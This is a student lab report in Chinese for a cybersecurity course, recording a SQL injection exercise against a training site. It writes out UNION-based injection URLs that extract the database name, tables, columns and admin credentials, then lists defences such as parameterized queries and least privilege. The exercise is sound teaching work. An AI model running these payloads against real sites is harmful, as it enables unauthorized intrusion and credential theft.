**《网络空间安全概论》实验报告**

|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| **姓名** | |  | | **年级** | | **2022** |
| **学号** | |  | | **专业、班级** | | **计算机科学与技术(卓越)01** |
| **实验名称** | **实验四 SQL注入实验** | | | | | |
| **实验时间** | **25.5.10** | | **实验地点** | | **DS402** | |
| **实验成绩** |  | | **实验性质** | | **□验证性 □设计性 □综合性** | |
| 教师评价：  □算法/实验过程正确； □源程序/实验内容提交 □程序结构/实验步骤合理；  □实验结果正确； □语法、语义正确； □报告规范；  评语：  评价教师签名（电子签名）： | | | | | | |
| 一、实验目的   * 学习并掌握SQL注入的基本原理和方法 * 学习SQL注入的防范措施 | | | | | | |
| 1. 实验项目内容   对以下网站进行SQL注入：http://pu2lh35s.ia.aqlab.cn/，完成以下信息的获取：   1. 数据库名称 2. 数据库中的所有表的名称 3. 每个表中的字段数量以及字段名 4. 管理员用户密码   最后总结如何对SQL注入攻击进行防范。 | | | | | | |
| 三、实验设计  任何SQL是操作数据库数据的结构化查询语言，网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数，修改拼接成SQL语句，传递给Web服务器，进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库，就可能导致拼接的SQL被执行，获取对数据库的信息以及提权，发生SQL注入攻击。 | | | | | | |
| 1. 实验过程或算法 2. **准备工作：**   首先，访问目标网址：http://pu2lh35s.ia.aqlab.cn/，点击页面上的蓝色交互按钮。此时，页面加载出一些介绍性内容，并且地址栏的 URL 变为：   1. http://pu2lh35s.ia.aqlab.cn/?id=1     由此可推测该网站通过 GET 请求方式传递参数，进一步尝试进行单双引号闭合测试，以判断是否存在 SQL 注入漏洞。具体操作如下：  传入单引号 id='1 或双引号 id="1"，页面均无返回内容，说明 SQL 查询语句因语法错误而无法执行。      这表明该网站后端未对引号闭合进行有效处理，存在 SQL 注入的可能。接下来，尝试使用 ORDER BY 语句判断原始 SQL 查询中返回的字段数量。测试链接如下：   1. http://pu2lh35s.ia.aqlab.cn/?id=1 order by 1 2. http://pu2lh35s.ia.aqlab.cn/?id=1 order by 1,2,3 3. http://pu2lh35s.ia.aqlab.cn/?id=1 order by 1,2         当字段数超过 2 时，页面报错。由此可推断，该 SQL 查询语句最多支持两个字段。   1. **获取数据库名称：**   利用 UNION 联合查询，并通过恒假条件 0=1 排除原查询结果，构造注入语句如下：   1. http://pu2lh35s.ia.aqlab.cn/?id=1 and 0=1 union select 1,database()     执行结果显示，当前数据库的名称为 maoshe。   1. **获取数据库中的所有表的名称：**   继续使用联合查询，从 information\_schema.tables 中提取 maoshe 数据库内的表名：   1. http://pu2lh35s.ia.aqlab.cn/?id=1 and 0=1 union select 1,table\_name from information\_schema.tables where table\_schema='maoshe'     初始返回结果显示数据库中存在名为 admin 的表。由于通常数据库中包含多个表，可使用 LIMIT 子句进行分页查询，例如：   1. http://pu2lh35s.ia.aqlab.cn/?id=1 and 0=1 union select 1,table\_name from information\_schema.tables where table\_schema='maoshe' limit 1,1     通过依次修改 LIMIT 的偏移量，确认数据库共包含 4 张表，分别为：  admin, dirs, xss, news   1. **获取每个表中的字段数量以及字段名：**   同理，可使用以下语句获取 admin 表中所有字段名：   1. http://pu2lh35s.ia.aqlab.cn/?id=1 and 0=1 union select 1,column\_name from information\_schema.columns where table\_name='admin'     根据查询结果可知，该admin表的第一个字段为id。仍然通过limit方法遍历admin表字段，并通过修改table\_name=’admin’为其他表名称，易得每个表中的字段数量以及字段名依次为：  admin：id,username,password  dirs：paths  news：id,content  xss：id,user,pass   1. **获取管理员用户密码：**   通过联合查询可以获取 admin 表中所有用户名，例如：   1. http://pu2lh35s.ia.aqlab.cn/?id=1 and 0=1 union select 1,group\_concat(username) from admin     可以看到管理账户名称依次为：”admin”，”ppt领取微信”。  进一步的，通过将username替换为password可知，上述两个账户的密码分别为hellohack和zkaqbanban： | | | | | | |
| 五、实验过程中遇到的问题及解决情况  **问题1：**  在某些情况下，使用 **LIMIT n,m** 查询语句时，返回结果只显示第一个表项，导致无法一次性获取所有目标数据。  **原因和解决办法：**  出现该问题的可能原因是目标网站对查询结果的显示长度进行了限制，或页面模板本身只展示第一行数据。为解决该问题，可以采取以下两种方法：  1.使用 LIMIT n,1 语句逐条遍历表项，直到查询结果为空，借此统计总条数并提取全部信息。  2.使用 GROUP\_CONCAT() 函数将多个查询结果合并为一行输出，从而绕过前端显示限制，一次性获取所有目标内容。  **问题2：**  在构造注入语句时，某些 SQL 函数（如 database()、table\_name 等）返回结果乱码或页面直接报错，无法识别。  **原因和解决办法：**  该问题通常是由于数据库返回的内容未进行适当的编码转换，或前端页面未正确处理非 ASCII 字符所致。 | | | | | | |
| 六、实验结果及分析和（或）源程序调试过程  **（一）实验结果**   1. **数据库名称：**   maoshe。   1. **数据库中的所有表的名称：**   admin，dirs，news，xss。   1. **每个表中的字段数量以及字段名：**   admin：id,username,password  dirs：paths  news：id,content  xss：id,user,pass   1. **管理员账户和密码：**   (admin, hellohack)  (ppt领取微信, zkaqbanban)  **（二）分析和总结**  SQL 注入攻击的防范措施包括但不限于以下几种方式：  **1.使用参数化查询或预编译语句：**  在编写 SQL 语句时，应避免直接拼接用户输入的变量，而应采用参数化查询或预编译语句，确保用户输入作为纯数据处理，而不会被当作可执行代码。例如，在 Java 中可使用 PreparedStatement 对象，在 Python 的 SQLite 库中可使用问号（?）作为参数占位符，以安全地绑定参数。   1. **严格验证和过滤用户输入：**   应对用户输入进行格式、类型、长度等方面的验证，确保仅允许符合预期的数据通过，防止恶意注入内容进入系统。   1. **采用白名单策略与特殊字符处理：**   建议使用白名单方式，只允许特定的字符集通过验证；同时，对特殊字符（如单引号 '、双引号 "、分号 ; 等）应进行转义、替换或移除，以减少被恶意利用的可能性。   1. **遵循最小权限原则配置数据库账户：**   数据库连接应分配最小必要权限。例如，只读操作的应用程序不应被授予插入、修改或删除数据的权限，从而限制潜在攻击的破坏范围。   1. **避免暴露数据库错误信息：**   应用程序在处理异常时不应直接将数据库错误信息返回给用户，以防泄露数据库结构或版本等敏感信息。应使用通用的用户提示信息，并将详细错误记录写入日志供后台管理员排查。   1. **部署 Web 应用防火墙（WAF）：**   WAF 可实时监控和分析应用层流量，识别并拦截 SQL 注入等常见攻击，有效提升应用系统的整体安全性。   1. **使用 ORM 框架降低注入风险：**   采用如 Hibernate、Entity Framework 等对象关系映射（ORM）框架开发系统，可减少直接操作 SQL 的频率。ORM 通常内置参数绑定和数据验证机制，天然具备防注入能力。   1. **保持系统更新并进行安全审计：**   应及时更新数据库管理系统（DBMS）与 Web 应用程序，修补已知漏洞。同时，建议使用日志和监控工具跟踪系统运行状态，定期进行安全审计，及时发现并处理潜在安全隐患。 | | | | | | |